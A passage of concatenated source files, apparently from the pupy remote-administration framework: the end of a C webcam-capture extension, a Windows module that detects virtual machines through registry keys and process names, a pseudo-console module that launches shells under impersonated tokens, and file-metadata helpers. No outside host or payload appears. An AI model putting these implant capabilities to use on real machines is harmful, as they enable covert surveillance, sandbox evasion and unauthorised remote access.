    hr = self->ob_pControl->Run(); // fixme: xxx
    // Copy the image into the buffer.
    while (true)
    {
        hr = self->ob_pGrab->GetCurrentBuffer(&size, (long *)buffer);
        if (hr == VFW_E_WRONG_STATE)
            Sleep(100);
        else
            break;
    }
    if (FAILED(hr))
    {
        switch (hr)
        {
        case E_INVALIDARG:
            PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (Samples are not being buffered).");
            break;
        case E_POINTER:
            PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (NULL pointer argument).");
            break;
        case VFW_E_NOT_CONNECTED:
            PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (The filter is not connected).");
            break;
        case VFW_E_WRONG_STATE:
            PyErr_SetString(VidcapError, "Getting the sample grabber's current buffer failed (The filter did not buffer a sample yet).");
            break;
        default:
            PyErr_SetString(VidcapError, "UNKNOWN CASE!!");
        }
        PyMem_Free(buffer);
        return NULL;
    }

    // Return the buffer.
    PyObject *value;
    value = Py_BuildValue("(s#,l,l)", buffer, size, width, height);

    //free(buffer);
    PyMem_Free(buffer);

    return value;
}


static PyMethodDef Dev_methods[] = {
    {"displaypropertypage",             (PyCFunction)Dev_displaypropertypage,               METH_VARARGS},
    {"displaycapturefilterproperties",  (PyCFunction)Dev_displaycapturefilterproperties,    METH_VARARGS},
    {"displaycapturepinproperties",     (PyCFunction)Dev_displaycapturepinproperties,       METH_VARARGS},
    {"getdisplayname",                  (PyCFunction)Dev_getdisplayname,                    METH_VARARGS},
    {"setresolution",                   (PyCFunction)Dev_setresolution,                     METH_VARARGS},
    {"getbuffer",                       (PyCFunction)Dev_getbuffer,                         METH_VARARGS},
    {NULL,                              NULL}           /* sentinel */
};


static PyObject *
Dev_getattr(DevObject *self, char *name)
{
    return Py_FindMethod(Dev_methods, (PyObject *)self, name);
}


statichere PyTypeObject Dev_Type = {
    /* The ob_type field must be initialized in the module init function
     * to be portable to Windows without using C++. */
    PyObject_HEAD_INIT(NULL)
    0,                        /*ob_size*/
    "Dev",                    /*tp_name*/
    sizeof(DevObject),        /*tp_basicsize*/
    0,                        /*tp_itemsize*/
    /* methods */
    (destructor)Dev_dealloc,  /*tp_dealloc*/
    0,                        /*tp_print*/
    (getattrfunc)Dev_getattr, /*tp_getattr*/
    (setattrfunc)0,           /*tp_setattr*/
    0,                        /*tp_compare*/
    0,                        /*tp_repr*/
    0,                        /*tp_as_number*/
    0,                        /*tp_as_sequence*/
    0,                        /*tp_as_mapping*/
    0,                        /*tp_hash*/
};


static PyObject *
vidcap_new_Dev(PyObject *self, PyObject *args)
{
    DevObject *rv;

    rv = newDevObject(args);
    if ( rv == NULL )
        return NULL;
    return (PyObject *)rv;
}


static PyMethodDef vidcap_methods[] = {
    {"new_Dev", vidcap_new_Dev, METH_VARARGS},
    {NULL,      NULL}        /* Sentinel */
};


extern "C"

/* platform independent */
#ifdef MS_WIN32
__declspec(dllexport)
#endif

void
initvidcap(void)
{
    Dev_Type.ob_type = &PyType_Type;

    PyObject *m, *d;

    m = Py_InitModule("vidcap", vidcap_methods);
    d = PyModule_GetDict(m);
    VidcapError = PyErr_NewException("vidcap.Error", NULL, NULL);
    PyDict_SetItemString(d, "error", VidcapError);

    HRESULT hr;

    // Initialize COM.
    hr = CoInitialize(NULL);
    if (FAILED(hr))
    {
        PyErr_SetString(VidcapError, "Initialization of COM failed.");
        return;
    }

    // Register Release COM at exit.
    if ( Py_AtExit( (void (__cdecl *)(void))CoUninitialize ) )
    {
        PyErr_SetString(VidcapError, "Registering CoUninitialize at exit failed.");
        CoUninitialize();
        return;
    }
}



================================================
FILE: pupy/packages/windows/all/checkvm.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import _winreg
import psutil

HKEY_LOCAL_MACHINE = -2147483646
KEY_READ           = 131097


class Check_VM():
    def __init__(self):
        self.process_list = []

    def get_process_list(self):
        if not self.process_list:
            for p in psutil.process_iter():
                self.process_list.append(p.name())

        return self.process_list

    def check_existing_key(self, k, key):
        try:
            hkey = _winreg.OpenKey(k, key, 0, KEY_READ)
            return hkey
        except:
            return False

    # Hyper-V
    def check_hyper_V(self):

        keys = [
            'SOFTWARE\\Microsoft\\Hyper-V',
            'SOFTWARE\\Microsoft\\VirtualMachine',
            'HARDWARE\\ACPI\\FADT\\vrtual',
            'HARDWARE\\ACPI\\RSDT\\vrtual',
            'SYSTEM\\ControlSet001\\Services\\vmicheartbeat',
            'SYSTEM\\ControlSet001\\Services\\vmicvss',
            'SYSTEM\\ControlSet001\\Services\\vmicshutdown',
            'SYSTEM\\ControlSet001\\Services\\vmiexchange',
        ]
        for key in keys:
            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)
            if h:
                _winreg.CloseKey(h)
                return True

        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\DESCRIPTION\\System')
        if h:
            string = str(_winreg.QueryValueEx(h, 'SystemBiosVersion')[0])
            if 'vrtual' in string:
                return True

        return False

    # VMWARE
    def check_VMWare(self):

        keys = [
            'SYSTEM\\ControlSet001\\Services\\vmdebug',
            'SYSTEM\\ControlSet001\\Services\\vmmouse',
            'SYSTEM\\ControlSet001\\Services\\VMTools',
            'SYSTEM\\ControlSet001\\Services\\VMMEMCTL',
        ]
        for key in keys:
            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)
            if h:
                _winreg.CloseKey(h)
                return True

        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\DESCRIPTION\\System\\BIOS')
        if h:
            string = str(_winreg.QueryValueEx(h, 'SystemManufacturer')[0])
            if 'vmware' in string:
                return True

        plist = self.get_process_list()
        if 'vmwareuser.exe' in plist or 'vmwaretray.exe' in plist or 'vmtoolsd.exe' in plist:
            return True

    # Virtual PC
    def check_Virtual_PC(self):
        plist = self.get_process_list()
        if 'vmusrvc.exe' in plist or 'vmsrvc.exe' in plist or 'vmwareuser.exe' in plist or 'vmwaretray.exe' in plist:
            return True

        keys = [
            'SYSTEM\\ControlSet001\\Services\\vpc-s3',
            'SYSTEM\\ControlSet001\\Services\\vpcuhub',
            'SYSTEM\\ControlSet001\\Services\\msvmmouf'
        ]
        for key in keys:
            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)
            if h:
                _winreg.CloseKey(h)
                return True

    # Virtual Box
    def check_Virtual_Box(self):
        plist = self.get_process_list()
        if 'vboxservice.exe' in plist or 'vboxtray.exe' in plist:
            return True

        keys = [
            'HARDWARE\\ACPI\\FADT\\vbox_',
            'HARDWARE\\ACPI\\RSDT\\vbox_',
            'SYSTEM\\ControlSet001\\Services\\VBoxMouse',
            'SYSTEM\\ControlSet001\\Services\\VBoxGuest',
            'SYSTEM\\ControlSet001\\Services\\VBoxService',
            'SYSTEM\\ControlSet001\\Services\\VBoxSF',
        ]
        for key in keys:
            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)
            if h:
                _winreg.CloseKey(h)
                return True

        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\DESCRIPTION\\System')
        if h:
            string = str(_winreg.QueryValueEx(h, 'SystemBiosVersion')[0])
            if 'vbox' in string:
                return True

    # Xen
    def check_xen(self):
        plist = self.get_process_list()
        if 'xenservice.exe' in plist:
            return True

        keys = [
            'HARDWARE\\ACPI\\FADT\\xen',
            'HARDWARE\\ACPI\\DSDT\\xen',
            'HARDWARE\\ACPI\\RSDT\\xen',
            'SYSTEM\\ControlSet001\\Services\\xenevtchn',
            'SYSTEM\\ControlSet001\\Services\\xennet',
            'SYSTEM\\ControlSet001\\Services\\xennet6',
            'SYSTEM\\ControlSet001\\Services\\xensvc',
            'SYSTEM\\ControlSet001\\Services\\xenvdb',
        ]
        for key in keys:
            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)
            if h:
                _winreg.CloseKey(h)
                return True

    # QEMU
    def check_qemu(self):
        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0')
        if h:
            string = str(_winreg.QueryValueEx(h, 'ProcessorNameString')[0])
            if 'vmware' in string:
                return True
        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\DESCRIPTION\\System\\BIOS')
        if h:
            string = str(_winreg.QueryValueEx(h, 'SystemManufacturer')[0])
            if 'qemu' in string.lower():
                return True

    def run(self):
        vm = []
        if self.check_hyper_V():
            vm.append('This is a Hyper-V machine.')

        if self.check_VMWare():
            vm.append('This is a VMWare machine.')

        if self.check_Virtual_PC():
            vm.append('This is a Virtual PC.')

        if self.check_Virtual_Box():
            vm.append('This is a Virtual Box.')

        if self.check_xen():
            vm.append('This is a Xen Machine.')

        if self.check_qemu():
            vm.append('This is a Qemu machine.')

        return vm


================================================
FILE: pupy/packages/windows/all/conpty.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import pupy.agent

from threading import Thread

from ctypes import (
    c_void_p, byref, Structure, HRESULT, POINTER,
    WinError, get_last_error, create_string_buffer
)

from ctypes.wintypes import (
    HANDLE, DWORD, SHORT, BOOL
)

from pupwinutils.security import (
    CloseHandle, CreatePipe, TerminateProcess, WaitForSingleObject,
    ReadFile, WriteFile,
    start_proc_with_token, kernel32,
    StartupInfoAttribute, GetExitCodeProcess,
    impersonate_token, CreateFile,
    PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, S_OK,
    INVALID_HANDLE_VALUE, WAIT_OBJECT_0, WAIT_TIMEOUT,
    STILL_ACTIVE, INVALID_HANDLE, GENERIC_READ, OPEN_EXISTING,

)

if hasattr(pupy, 'get_logger'):
    logger = pupy.get_logger('conpty')
else:
    import logging
    logger = logging.getLogger('conpty')

PHANDLE = POINTER(HANDLE)
HPCON = c_void_p

ENABLE_PROCESSED_OUTPUT = 0x1
ENABLE_WRAP_AT_EOL_OUTPUT = 0x2
ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x4
ENABLE_MOUSE_INPUT = 0x10


class COORD(Structure):
    _fields_ = (
        ('X', SHORT),
        ('Y', SHORT)
    )


try:
    GetConsoleMode = kernel32.GetConsoleMode
    GetConsoleMode.restype = BOOL
    GetConsoleMode.argtypes = (
        HANDLE, POINTER(DWORD)
    )

    GetFileType = kernel32.GetFileType
    GetFileType.restype = DWORD
    GetFileType.argtypes = (HANDLE,)

    GetStdHandle = kernel32.GetStdHandle
    GetStdHandle.restype = HANDLE
    GetStdHandle.argtype = (DWORD,)

    SetStdHandle = kernel32.SetStdHandle
    SetStdHandle.restype = HANDLE
    SetStdHandle.argtype = (DWORD, HANDLE)

    SetConsoleMode = kernel32.SetConsoleMode
    SetConsoleMode.restype = BOOL
    SetConsoleMode.argtypes = (
        HANDLE, DWORD
    )

    CreatePseudoConsole = kernel32.CreatePseudoConsole
    CreatePseudoConsole.restype = HRESULT
    CreatePseudoConsole.argtypes = (
        COORD, HANDLE, HANDLE, DWORD, POINTER(HPCON)
    )

    ResizePseudoConsole = kernel32.ResizePseudoConsole
    ResizePseudoConsole.result = HRESULT
    ResizePseudoConsole.argtypes = (
        HPCON, COORD
    )

    ClosePseudoConsole = kernel32.ClosePseudoConsole
    ClosePseudoConsole.argtypes = (HPCON,)

except AttributeError:
    raise ImportError('PseudoConsole is not supported')


def fix_stdin():
    hHandleStdin = GetStdHandle(-10)
    if hHandleStdin == INVALID_HANDLE:
        return

    hStdinFileType = GetFileType(hHandleStdin)
    if hStdinFileType != 3:
        return

    # Need to reopen CONNIN$
    hHandleStdin = CreateFile(
        'CONIN$', GENERIC_READ, OPEN_EXISTING,
        0, 4, 0, 0
    )

    if hHandleStdin != INVALID_HANDLE:
        SetStdHandle(-10, hHandleStdin)


class ConPTY(object):
    __slots__ = (
        '_closed', '_conout_pipe', '_conin_pipe', '_pty', '_lpInfo', '_reader'
    )

    def _create_pty(self, pty_size):
        hPipePTYOut = HANDLE(INVALID_HANDLE_VALUE)
        hPipePTYIn = HANDLE(INVALID_HANDLE_VALUE)

        hPipeOut = HANDLE(INVALID_HANDLE_VALUE)
        hPipeIn = HANDLE(INVALID_HANDLE_VALUE)

        hPTY = HPCON(INVALID_HANDLE_VALUE)

        try:
            if not CreatePipe(byref(hPipePTYIn), byref(hPipeIn), None, 0):
                raise WinError(get_last_error())

            if not CreatePipe(byref(hPipeOut), byref(hPipePTYOut), None, 0):
                raise WinError(get_last_error())

            if CreatePseudoConsole(
                    COORD(*pty_size), hPipePTYIn, hPipePTYOut, 0, byref(hPTY)) != S_OK:
                raise WinError(get_last_error())

            logger.info('hPTY: %x', hPTY.value)

            if hPTY.value == INVALID_HANDLE_VALUE:
                raise WinError(get_last_error())

        except WinError:
            for handle in (hPipePTYOut, hPipePTYIn, hPipeOut, hPipeIn):
                if handle.value != INVALID_HANDLE_VALUE:
                    CloseHandle(handle)

            raise

        CloseHandle(hPipePTYIn)
        CloseHandle(hPipePTYOut)

        self._pty = hPTY
        self._conout_pipe = hPipeOut
        self._conin_pipe = hPipeIn

    def __init__(self, program,
            cmdline=None, cwd=None, env=None, htoken=None,
            pty_flags=0, pty_size=(80,25)):

        self._closed = False
        self._lpInfo = None
        self._create_pty(pty_size)

        requested_htoken = None

        if htoken:
            caller_thread_htoken, requested_htoken = htoken
            impersonate_token(caller_thread_htoken)

        fix_stdin()

        self._lpInfo = start_proc_with_token(
            cmdline, requested_htoken,
            lpInfo=True,
            # Important - will not work otherwise
            hidden=False,
            application=program,
            attributes=[
                StartupInfoAttribute(
                    PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
                    self._pty
                )
            ]
        )

    @property
    def pid(self):
        return self._lpInfo.dwProcessId

    def active(self):
        if not self._lpInfo:
            logger.error('Child process was not initialized')
            return None

        status = DWORD()
        return GetExitCodeProcess(
            self._lpInfo.hProcess, byref(status)) and status.value == STILL_ACTIVE

    def _read_loop(self, read_cb):
        while True:
            try:
                data = self.read()
                if not data:
                    break

                read_cb(data)

            except Exception as e:
                logger.exception('Read from pipe: %s', e)
                break

    def read_loop(self, read_cb):
        logger.info('Start info loop')

        self._reader = Thread(target=self._read_loop, args=(read_cb,))
        self._reader.start()

        while self.active() and self._reader.is_alive():
            result = WaitForSingleObject(self._lpInfo.hProcess, 1000)
            if result == WAIT_TIMEOUT:
                logger.info('Timeout!')
                continue

            elif result == WAIT_OBJECT_0:
                status = DWORD(-1)
                GetExitCodeProcess(self._lpInfo.hProcess, byref(status))
                logger.info(
                    'Exited (%08x, hPTY=%x)!', status.value, self._pty.value
                )
                break

            else:
                raise WinError(get_last_error())

        CloseHandle(self._conin_pipe)
        self._conin_pipe = INVALID_HANDLE_VALUE

        logger.info('Everything completed')

    def write(self, data):
        if self._closed or self._conin_pipe == INVALID_HANDLE_VALUE:
            logger.info('Write - invalid state')
            return False

        written = DWORD()

        if not WriteFile(self._conin_pipe, data, len(data), byref(written), None):
            error = get_last_error()
            logger.info('Write error (%d)', error)
            raise WinError(error)

    def read(self, amount=8192):
        buffer = create_string_buffer(amount)
        read = DWORD()

        if not ReadFile(self._conout_pipe, buffer, amount, byref(read), None):
            error = get_last_error()
            logger.info('Read error (%d)', error)

            # Closed pipe
            if error == 109:
                return ''

            raise WinError(error)

        if not read.value:
            return ''

        return buffer[:read.value]

    def resize(self, cols, rows):
        if self._closed:
            return False

        if ResizePseudoConsole(self._pty, COORD(cols, rows)) != S_OK:
            error = get_last_error()
            logger.info('Resize error (%d)', error)
            raise WinError(error)

    def close(self):
        if self._closed:
            return False

        self._closed = True

        if self._conin_pipe != INVALID_HANDLE_VALUE:
            CloseHandle(self._conin_pipe)

        if self.active():
            TerminateProcess(self._lpInfo.hProcess, 0)
            CloseHandle(self._lpInfo.hProcess)
            CloseHandle(self._lpInfo.hThread)

        if self.active():
            logger.error('Child process was not terminated')

        if self._pty != INVALID_HANDLE_VALUE:
            ClosePseudoConsole(self._pty)

        if self._reader:
            # Read all the pipe if there is any to read
            self._reader.join()

        if self._conout_pipe.value != INVALID_HANDLE_VALUE:
            CloseHandle(self._conout_pipe)

    def __enter__(self):
        return self

    def __exit__(self, *args):
        self.close()


================================================
FILE: pupy/packages/windows/all/fsutils.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'readlink', 'lstat', 'has_xattrs', 'uidgid',
    'username_to_uid', 'groupname_to_gid',
    'NoUidGidMapping', 'NoSuchUser', 'NoSuchGroup'
)

class NoUidGidMapping(Exception):
    pass

class NoSuchUser(NoUidGidMapping):
    pass

class NoSuchGroup(NoUidGidMapping):
    pass

from junctions import readlink, lstat

try:
    from ntfs_streams import get_streams

    def has_xattrs(path):
        try:
            return get_streams(path)
        except (OSError, IOError, WindowsError):
            return None

except ImportError:
    def has_xattrs(path):
        return None

try:
    from pupwinutils.security import getfileowner, sidbyname

    def uidgid(path, item, as_text=True):
        try:
            owner, group = getfileowner(path, as_sid=not as_text)
            return owner[0], group[0]
        except (OSError, IOError, WindowsError):
            return '?', '?'

    def username_to_uid(username):
        try:
            sid = sidbyname(username)
            if not sid:
                raise NoSuchUser(username)

        except WindowsError:
            raise NoSuchUser(username)

    def groupname_to_gid(groupname):
        try:
            sid = sidbyname(groupname)
            if not sid:
                raise NoSuchUser(groupname)

        except WindowsError:
            raise NoSuchGroup(groupname)

except ImportError:
    def uidgid(path, item):
        return '', ''

    def username_to_uid(username):
        raise NoSuchUser(username)

    def groupname_to_gid(groupname):
        raise NoSuchGroup(groupname)


================================================
FILE: pupy/packages/windows/all/fsutils_ext.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from fsutils import has_xattrs

from io import open
from os import stat, path
from junctions import islink, readlink
from struct import pack, unpack

from pupyutils.basic_cmds import mode_to_letter
from pupwinutils.security import (
    getfileowneracls, kernel32,
    get_last_error, WinError, byref, cast, sizeof, addressof,
    WinDLL, create_string_buffer, Structure, _bit,
    BOOL, WORD, DWORD, LPCWSTR, LPVOID, PDWORD,
    POINTER, HANDLE, BYTE, ULONG
)

from pupy.network.lib.convcompat import fix_exception_encoding

if sys.version_info.major > 2:
    xrange = range
    unicode = str

FILE_VER_GET_LOCALISED = 0x01
FILE_VER_GET_NEUTRAL = 0x02
FILE_VER_GET_PREFETCHED = 0x04

VS_FF_DEBUG = 0x00000001
VS_FF_INFOINFERRED = 0x00000010
VS_FF_PATCHED = 0x00000004
VS_FF_PRERELEASE = 0x00000002
VS_FF_PRIVATEBUILD = 0x00000008
VS_FF_SPECIALBUILD = 0x00000020

VS_FF_STR = {
    VS_FF_DEBUG: 'DEBUG',
    VS_FF_INFOINFERRED: 'INFOINFERRED',
    VS_FF_PATCHED: 'PATCHED',
    VS_FF_PRERELEASE: 'PRERELEASE',
    VS_FF_PRIVATEBUILD: 'PRIVATEBUILD',
    VS_FF_SPECIALBUILD: 'SPECIALBUILD'
}

VFT_APP = 0x00000001
VFT_DLL = 0x00000002
VFT_DRV = 0x00000003
VFT_FONT = 0x00000004
VFT_STATIC_LIB = 0x00000007
VFT_UNKNOWN = 0x00000000
VFT_VXD = 0x00000005

VFT_STR = {
    VFT_APP: 'APP',
    VFT_DLL: 'DLL',
    VFT_DRV: 'DRV',
    VFT_FONT: 'FONT',
    VFT_STATIC_LIB: 'STATIC_LIB',
    VFT_UNKNOWN: 'UNKNOWN',
    VFT_VXD: 'VXD'
}

VFT2_DRV_COMM = 0x0000000A
VFT2_DRV_DISPLAY = 0x00000004
VFT2_DRV_INSTALLABLE = 0x00000008
VFT2_DRV_KEYBOARD = 0x00000002
VFT2_DRV_LANGUAGE = 0x00000003
VFT2_DRV_MOUSE = 0x00000005
VFT2_DRV_NETWORK = 0x00000006
VFT2_DRV_PRINTER = 0x00000001
VFT2_DRV_SOUND = 0x00000009
VFT2_DRV_SYSTEM = 0x00000007
VFT2_DRV_VERSIONED_PRINTER = 0x0000000C
VFT2_UNKNOWN = 0x00000000

VFT2_DRV_STR = {
    VFT2_DRV_COMM: 'COMM',
    VFT2_DRV_DISPLAY: 'DISPLAY',
    VFT2_DRV_INSTALLABLE: 'INSTALLABLE',
    VFT2_DRV_KEYBOARD: 'KEYBOARD',
    VFT2_DRV_LANGUAGE: 'LANGUAGE',
    VFT2_DRV_MOUSE: 'MOUSE',
    VFT2_DRV_NETWORK: 'NETWORK',
    VFT2_DRV_PRINTER: 'PRINTER',
    VFT2_DRV_SOUND: 'SOUND',
    VFT2_DRV_SYSTEM: 'SYSTEM',
    VFT2_DRV_VERSIONED_PRINTER: 'VERSIONED_PRINTER',
    VFT2_UNKNOWN: 'UNKNOWN',
}

VFT2_FONT_RASTER = 0x00000001
VFT2_FONT_TRUETYPE = 0x00000003
VFT2_FONT_VECTOR = 0x00000002

VFT2_FONT_STR = {
    VFT2_FONT_RASTER: 'RASTER',
    VFT2_FONT_TRUETYPE: 'TRUETYPE',
    VFT2_FONT_VECTOR: 'VECTOR'
}

LOCALIZED_STRINGS = (
    'Comments',
    'InternalName',
    'ProductName',
    'CompanyName',
    'LegalCopyright',
    'ProductVersion',
    'FileDescription',
    'LegalTrademarks',
    'PrivateBuild',
    'FileVersion',
    'OriginalFilename',
    'SpecialBuild'
)

CERT_QUERY_OBJECT_FILE = 1

CERT_QUERY_CONTENT_CERT = 1
CERT_QUERY_CONTENT_CTL = 2
CERT_QUERY_CONTENT_CRL = 3
CERT_QUERY_CONTENT_SERIALIZED_STORE = 4
CERT_QUERY_CONTENT_SERIALIZED_CERT = 5
CERT_QUERY_CONTENT_SERIALIZED_CTL = 6
CERT_QUERY_CONTENT_SERIALIZED_CRL = 7
CERT_QUERY_CONTENT_PKCS7_SIGNED = 8
CERT_QUERY_CONTENT_PKCS7_UNSIGNED = 9
CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED = 10
CERT_QUERY_CONTENT_PKCS10 = 11
CERT_QUERY_CONTENT_PFX = 12
CERT_QUERY_CONTENT_CERT_PAIR = 13

CERT_QUERY_CONTENT_FLAG_CERT = (
    1 << CERT_QUERY_CONTENT_CERT)
CERT_QUERY_CONTENT_FLAG_CTL = (
    1 << CERT_QUERY_CONTENT_CTL)
CERT_QUERY_CONTENT_FLAG_CRL = (
    1 << CERT_QUERY_CONTENT_CRL)
CERT_QUERY_CONTENT_FLAG_SERIALIZED_STORE = (
    1 << CERT_QUERY_CONTENT_SERIALIZED_STORE)
CERT_QUERY_CONTENT_FLAG_SERIALIZED_CERT = (
    1 << CERT_QUERY_CONTENT_SERIALIZED_CERT)
CERT_QUERY_CONTENT_FLAG_SERIALIZED_CTL = (
    1 << CERT_QUERY_CONTENT_SERIALIZED_CTL)
CERT_QUERY_CONTENT_FLAG_SERIALIZED_CRL = (
    1 << CERT_QUERY_CONTENT_SERIALIZED_CRL)
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED = (
    1 << CERT_QUERY_CONTENT_PKCS7_SIGNED)
CERT_QUERY_CONTENT_FLAG_PKCS7_UNSIGNED = (
    1 << CERT_QUERY_CONTENT_PKCS7_UNSIGNED)
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED = (
    1 << CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED)
CERT_QUERY_CONTENT_FLAG_PKCS10 = (
    1 << CERT_QUERY_CONTENT_PKCS10)
CERT_QUERY_CONTENT_FLAG_PFX = (
    1 << CERT_QUERY_CONTENT_PFX)
CERT_QUERY_CONTENT_FLAG_CERT_PAIR = (
    1 << CERT_QUERY_CONTENT_CERT_PAIR)

CERT_QUERY_CONTENT_FLAG_ALL = \
 CERT_QUERY_CONTENT_FLAG_CERT | \
 CERT_QUERY_CONTENT_FLAG_CTL | \
 CERT_QUERY_CONTENT_FLAG_CRL | \
 CERT_QUERY_CONTENT_FLAG_SERIALIZED_STORE | \
 CERT_QUERY_CONTENT_FLAG_SERIALIZED_CERT | \
 CERT_QUERY_CONTENT_FLAG_SERIALIZED_CTL | \
 CERT_QUERY_CONTENT_FLAG_SERIALIZED_CRL | \
 CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED | \
 CERT_QUERY_CONTENT_FLAG_PKCS7_UNSIGNED | \
 CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED | \
 CERT_QUERY_CONTENT_FLAG_PKCS10 | \
 CERT_QUERY_CONTENT_FLAG_PFX | \
 CERT_QUERY_CONTENT_FLAG_CERT_PAIR

CERT_QUERY_FORMAT_BINARY = 1
CERT_QUERY_FORMAT_BASE64_ENCODED = 2
CERT_QUERY_FORMAT_ASN_ASCII_HEX_ENCODED = 3

CERT_QUERY_FORMAT_FLAG_BINARY = (1 << CERT_QUERY_FORMAT_BINARY)
CERT_QUERY_FORMAT_FLAG_BASE64_ENCODED = (1 << CERT_QUERY_FORMAT_BASE64_ENCODED)
CERT_QUERY_FORMAT_FLAG_ASN_ASCII_HEX_ENCODED = (
    1 << CERT_QUERY_FORMAT_ASN_ASCII_HEX_ENCODED)

CMSG_ATTR_CERT_COUNT_PARAM = 11
CMSG_ATTR_CERT_PARAM = 12

WTD_UI_NONE = 2
WTD_REVOKE_NONE = 0
WTD_CHOICE_FILE = 1
WTD_STATEACTION_VERIFY = 1

TRUST_E_NOSIGNATURE = 0x800B0100
TRUST_E_FAIL = 0x800B010B
TRUST_E_EXPLICIT_DISTRUST = 0x800B0111
TRUST_E_SYSTEM_ERROR = 0x80096001
TRUST_E_NO_SIGNER_CERT = 0x80096002
TRUST_E_COUNTER_SIGNER = 0x80096003
TRUST_E_CERT_SIGNATURE = 0x80096004
TRUST_E_TIME_STAMP = 0x80096005
TRUST_E_BAD_DIGEST = 0x80096010
TRUST_E_BASIC_CONSTRAINTS = 0x80096019
TRUST_E_FINANCIAL_CRITERIA = 0x8009601E
TRUST_E_PROVIDER_UNKNOWN = 0x800B0001
TRUST_E_ACTION_UNKNOWN = 0x800B0002
TRUST_E_SUBJECT_FORM_UNKNOWN = 0x800B0003
TRUST_E_SUBJECT_NOT_TRUSTED = 0x800B0004
TRUST_E_NOSIGNATURE = 0x800B0100
CERT_E_UNTRUSTEDROOT = 0x800B0109
CERT_E_CHAINING = 0x800B010A

TRUST_E_STR = {
    TRUST_E_NOSIGNATURE: 'NOSIGNATURE',
    TRUST_E_FAIL: 'FAIL',
    TRUST_E_EXPLICIT_DISTRUST: 'EXPLICIT_DISTRUST',
    TRUST_E_SYSTEM_ERROR: 'SYSTEM_ERROR',
    TRUST_E_NO_SIGNER_CERT: 'NO_SIGNER_CERT',
    TRUST_E_COUNTER_SIGNER: 'COUNTER_SIGNER',
    TRUST_E_CERT_SIGNATURE: 'CERT_SIGNATURE',
    TRUST_E_TIME_STAMP: 'TIME_STAMP',
    TRUST_E_BAD_DIGEST: 'BAD_DIGEST',
    TRUST_E_BASIC_CONSTRAINTS: 'BASIC_CONSTRAINTS',
    TRUST_E_FINANCIAL_CRITERIA: 'FINANCIAL_CRITERIA',
    TRUST_E_PROVIDER_UNKNOWN: 'PROVIDER_UNKNOWN',
    TRUST_E_ACTION_UNKNOWN: 'ACTION_UNKNOWN',
    TRUST_E_SUBJECT_FORM_UNKNOWN: 'SUBJECT_FORM_UNKNOWN',
    TRUST_E_SUBJECT_NOT_TRUSTED: 'SUBJECT_NOT_TRUSTED',
    TRUST_E_NOSIGNATURE: 'NOSIGNATURE',
    CERT_E_UNTRUSTEDROOT: 'UNTRUSTEDROOT',
    CERT_E_CHAINING: 'CHAINING',
}

crypt32 = WinDLL('crypt32', use_last_error=True)
wintrust = WinDLL('wintrust', use_last_error=True)

CryptQueryObject = crypt32.CryptQueryObject
CryptQueryObject.restype = BOOL
CryptQueryObject.argtypes = (
    DWORD, LPCWSTR, DWORD, DWORD,
    DWORD, PDWORD, PDWORD, PDWORD,
    LPVOID,
    POINTER(LPVOID),
    POINTER(LPVOID)
)

CryptMsgGetParam = crypt32.CryptMsgGetParam
CryptMsgGetParam.restype = BOOL
CryptMsgGetParam.argtypes = (
    LPVOID,
    DWORD, DWORD,
    LPVOID, PDWORD
)

CertCloseStore = crypt32.CertCloseStore
CertCloseStore.restype = BOOL
CertCloseStore.argtypes = (
    LPVOID, DWORD
)

CryptMsgClose = crypt32.CryptMsgClose
CryptMsgClose.restype = BOOL
CryptMsgClose.argtypes = (
    LPVOID,
)

ver_lib = None

if hasattr(kernel32, 'GetFileVersionInfoSizeExW'):
    ver_lib = kernel32
else:
    try:
        ver_lib = WinDLL(
            'Api-ms-win-core-version-l1-1-0', use_last_error=True)

    except WindowsError:
        pass

if ver_lib:
    GetFileVersionInfoSizeExW = ver_lib.GetFileVersionInfoSizeExW
    GetFileVersionInfoExW = ver_lib.GetFileVersionInfoExW
    VerQueryValueW = ver_lib.VerQueryValueW

    GetFileVersionInfoSizeExW.restype = DWORD
    GetFileVersionInfoSizeExW.argtypes = (
        DWORD, LPCWSTR, PDWORD
    )

    GetFileVersionInfoExW.restype = BOOL
    GetFileVersionInfoExW.argtypes = (
        DWORD, LPCWSTR, DWORD, DWORD, LPVOID
    )

    VerQueryValueW.restype = BOOL
    VerQueryValueW.argtypes = (
        LPVOID, LPCWSTR, POINTER(LPVOID), PDWORD
    )

WinVerifyTrust = wintrust.WinVerifyTrust
WinVerifyTrust.restype = ULONG
WinVerifyTrust.argtypes = (
    LPVOID, LPVOID, LPVOID
)


class FIXEDFILEINFO(Structure):
    _fields_ = (
        ('dwSignature', DWORD),
        ('dwStrucVersion', DWORD),
        ('dwFileVersionMS', DWORD),
        ('dwFileVersionLS', DWORD),
        ('dwProductVersionMS', DWORD),
        ('dwProductVersionLS', DWORD),
